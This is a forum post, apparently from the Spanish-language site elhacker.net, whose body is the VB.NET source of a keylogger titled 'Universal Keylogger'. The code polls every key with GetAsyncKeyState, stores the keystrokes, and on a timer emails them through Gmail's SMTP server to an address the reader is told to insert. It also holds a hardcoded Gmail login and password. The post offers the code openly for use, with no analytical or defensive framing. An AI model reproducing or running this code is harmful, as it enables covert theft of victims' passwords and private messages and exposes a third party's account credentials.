Foro de elhacker.net

Imports System.Web
Imports System.IO
Imports System.Net.Mail

Public Class Form1
Dim result As Integer
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
End Sub
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
For i = 1 To 255
result = 0

result = GetAsyncKeyState(i)
If result = -32767 Then
TextBox1.Text = TextBox1.Text + Chr(i)
End If
Next i
End Sub
Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
Dim mail As New MailMessage()
Dim SmtpServer As New SmtpClient
SmtpServer.Credentials = New Net.NetworkCredential("universalprjct@gm ail.com", "furryman")
SmtpServer.Port = 587
SmtpServer.Host = "smtp.gmail.com"

SmtpServer.EnableSsl = True
SmtpServer.EnableSsl = True
mail.To.Add("PON AKI TU CUENTA DE GMAIL")
mail.From = New MailAddress("username@gmail.com")
mail.Subject = "Universal Keylogger"
mail.Body = TextBox1.Text
SmtpServer.Send(mail)
End Sub

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
End
End Sub
End Class

TeCo
Admin

Mensajes: 33
Fecha de inscripción: 08/12/2010